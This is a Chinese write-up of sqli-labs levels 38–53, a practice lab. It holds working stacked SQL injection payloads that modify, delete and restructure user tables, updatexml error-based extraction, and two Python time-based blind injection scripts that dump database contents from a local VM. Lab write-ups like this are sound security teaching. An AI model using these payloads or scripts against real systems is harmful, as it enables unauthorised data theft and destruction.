【sqli-labs】 page-3 Less 38-53
sqli-labs 1-65
堆叠注入
核心函数: mysqli_multi_query 函数
概念:执行多条语句(增删查改)
# 增删改查语法
# 增
insert into [表名](column1,column2,...) values (value1,value2,...)
# 删
delete from [表名] where 条件
# 查
select column1,column2,... from [表名] where 条件
# 改
# 修改值
update [表名] set column1=value1,column2=value2,... where 条件
# 修改字段
alter table [表名] change [旧字段名] [新字段名] [字段类型]
# 多表联立操作
# 多表联立更新
update [表1] inner join [表2] set column1=value1,column2=value2,... where 表1.字段=表2.字段
由于 sqlilabs 关于堆叠注入没有明确的目标,不知道干啥。因此这里制订一下目标,加点难度
如果你也没啥目的,不如参考下列任务,前面 1-37 关都是查找操作,下面修改操作居多
关卡 | 任务 |
---|---|
Less-38 | 修改 id 为 1 的密码 |
Less-39 | 增加 id 为 21 的账户为 qwerty 密码为 123456 |
Less-40 | 删除 id 为 1 的用户 |
Less-41 | 增加 id 为 1 的用户,账号密码与之前不同 |
Less-42 | 页面显示的信息是 username、password,改为 id、password |
Less-43 | 将 id 为 1 和 21 的用户信息对调 |
Less-44 | 将所有用户的账户、密码对调 |
Less-45 | 将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420 |
如果操作错误导致数据库中数据全错怎么办,还记得做第一题之前的初始化数据库的操作吗
Less-38
任务:修改 id 为 1 的密码
有报错、有回显
我们知道 username,password 存储在 security 库的 users 表
修改密码
# 修改 id=1 的密码
?id=1';update users set password=1234 where id=1;--+
?id=1
数据库
Less-39
任务:增加 id 为 21 的账户为 qwerty 密码为 123456
有报错、有回显
# 增加用户
?id=1;insert users values(21,'qwerty',123456) --+
?id=21
数据库
Less-40
任务:删除 id 为 1 的用户
有回显、无报错
# 删除 id 为 1 的用户
?id=1'); delete from users where id=1;--+
数据库
Less-41
任务:增加 id 为 1 的用户,账号密码与之前不同
# 增加
?id=2;insert into users values(1,'information','schema') --+
?id=1
数据库
Less-42
任务:页面显示的信息是 username、password,改为 id、password
有报错信息
首先,登录正确账号
username:admin
password:admin
# 正确登录
确定正确账号密码后退出
id 与 username 交换位置(提交一次就行,提交两次的话 username 会全部变成 0,原因:一个是 int,一个是 char)
username:admin
password:admin';alter table users change id temp int(2);alter table users change username id varchar(20);alter table users change temp username int(2);#
退出,再次登录
username:admin
password:admin
# 错误
登录失败说明id 与 username 交换位置
成功
username:1
password:schema
# 正确登录
看看数据库,id 和 username 对调
Less-43
任务:将 id 为 1 和 21 的用户信息对调
有报错
经过 Less-42 我们的正确密码变成,验证一下
username:1
password:schema
# 正确登录
将 id 为 1 和 id 为 21 的用户信息对调
username:1
password:schema');update users set username=22 where username=1;update users set username=1 where username=21;update users set username=21 where username=22; #
再次登录,错误,说明对调成功
username:1
password:schema
# 错误
对调后的账户密码
username:1
password:123456
# 正确登录
数据库,1 和 21 对调
Less-44
任务:将所有用户的账户、密码对调
无回显
经过 Less-43 我们的正确密码变成,验证一下
username:1
password:123456
# 正确登录
将所有用户的账户、密码对调
username:1
password:123456';alter table users change password passwd varchar(20);alter table users change username password int(4);alter table users change passwd username varchar(20);#
对调后的账户密码
username:1
password:123456
# 错误
对调后的账户密码
username:123456
password:1
# 正确登录
数据库
Less-45
任务:将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420
经过 Less-44 我们的正确密码变成,验证一下
username:123456
password:1
# 正确登录
将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420
username:123456
password:1');update users as table_1 inner join (select * from users limit 1,9) as table_2 set table_1.id = 9420 where table_1.id=table_2.id;#
再次登录
username:123456
password:1
# 正确登录,似乎没有变化,我们换一个账号登录
# 还记得我们的 admin 吗,原 admin 账户的账号是 admin,密码是 admin, id 是 8
# 现在用 admin 登录
username:admin
password:8
可以看见,被修改为 9420
数据库
堆叠注入到此结束,你绕晕了吗
order by 注入
users 表直接显示,这样没意思,security 库中有 4 个表,其中 users、emails 是有数据的,我们尝试获取 emails 的数据
Less-46
注意,参数变成了 sort,不在是 id
http://192.168.148.131:8080/Less-46/?sort=1
?sort=if(2<1,username,password) # 可以看见顺序变了
payload
# 库
?sort=1 and updatexml(1,concat(1,(database())),1)
# 表
?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
# 字段
?sort=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='emails')),1)
# 值,由于一次显示不完,使用 limit 一个个显示
?sort=1 and updatexml(1,concat(1,(select email_id from emails limit 0,1)),1)
Less-47
'
闭合,有报错
Less-48
?sort=if(2>1,sleep(1),0) # 13 条数据,13 秒延迟
时间盲注脚本(技术有限,只能获取某张表的数据,无法做到获取整个库的数据)
import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-48/' # 改成你的 IP
# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0 # 初始位
dic = {'database':['',True,{'name':'database()','From':'','where':''}],
'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
'id':['',True,{'name':"id",'From':"from {table}",'where':''}],
'email_id':['',True,{'name':"email_id",'From':"from {table}",'where':''}]
}
keys = list(dic.keys())
def payload(name,From,where,index,i):
if i == '+':i = '%2B'
data = f"?sort=if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.02),0)"
return data
while True:
mark = True # 标记,防止死循环
num = 0
# 获取第一张表的表名
if dic['table'][1] == False:table = dic['table'][0].split(',')[0]
# 代表 库、表、字段、值 全部获取完毕,打印输出
if key_index == 5:
database = dic['database'][0]
print('\r',end='')
for i in dic:
print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table" else f"all {i} in your {table} table"}:{dic[i][0]}')
exit()
# 组装 payload
for i in letter:
num += 1
if dic[keys[key_index]][2]:
# 替换 payload 中的表名
end = list(dic[keys[key_index]][2].keys())
if '{table}' in dic[keys[key_index]][2][end[-1]]:
dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
elif '{table}' in dic[keys[key_index]][2][end[-2]]:
dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
# 获取 payload
data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)
time_start = time.perf_counter()
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
time_end = time.perf_counter()
# exit(data)
if time_end - time_start>0.2:
dic[keys[key_index]][0] += i
print('\r',dic[keys[key_index]][0],end = '')
index += 1 # 下一位
mark = False # 防止死循环
break
if num>95: #
dic[keys[key_index]][1] = False
index,num,mark = 1,0,False # 重置
key_index += 1
break
if mark:exit('错误') # 防止死循环
Less-49
无报错
?sort=1'and sleep(1) and 1='1 # 13 条数据,13 秒延迟
时间盲注脚本(Less-48 改)
import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-49/' # 改成你的 IP
# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0 # 初始位
dic = {'database':['',True,{'name':'database()','From':'','where':''}],
'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
'id':['',True,{'name':"id",'From':"from {table}",'where':''}],
'email_id':['',True,{'name':"email_id",'From':"from {table}",'where':''}]
}
keys = list(dic.keys())
def payload(name,From,where,index,i):
if i == '+':i = '%2B'
data = f"?sort=1'and if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.02),0) and 1='1"
return data
while True:
mark = True # 标记,防止死循环
num = 0
# 获取第一张表的表名
if dic['table'][1] == False:table = dic['table'][0].split(',')[0]
# 代表 库、表、字段、值 全部获取完毕,打印输出
if key_index == 5:
database = dic['database'][0]
print('\r',end='')
for i in dic:
print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table" else f"all {i} in your {table} table"}:{dic[i][0]}')
exit()
# 组装 payload
for i in letter:
num += 1
if dic[keys[key_index]][2]:
# 替换 payload 中的表名
end = list(dic[keys[key_index]][2].keys())
if '{table}' in dic[keys[key_index]][2][end[-1]]:
dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
elif '{table}' in dic[keys[key_index]][2][end[-2]]:
dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
# 获取 payload
data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)
time_start = time.perf_counter()
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
time_end = time.perf_counter()
# exit(data)
if time_end - time_start>0.2:
dic[keys[key_index]][0] += i
print('\r',dic[keys[key_index]][0],end = '')
index += 1 # 下一位
mark = False # 防止死循环
break
if num>95: #
dic[keys[key_index]][1] = False
index,num,mark = 1,0,False # 重置
key_index += 1
break
if mark:exit('错误') # 防止死循环
Less-50
同 Less-46
Less-51
'
闭合,同 Less-47
Less-52
同 Less-48
Less-53
同 Less-49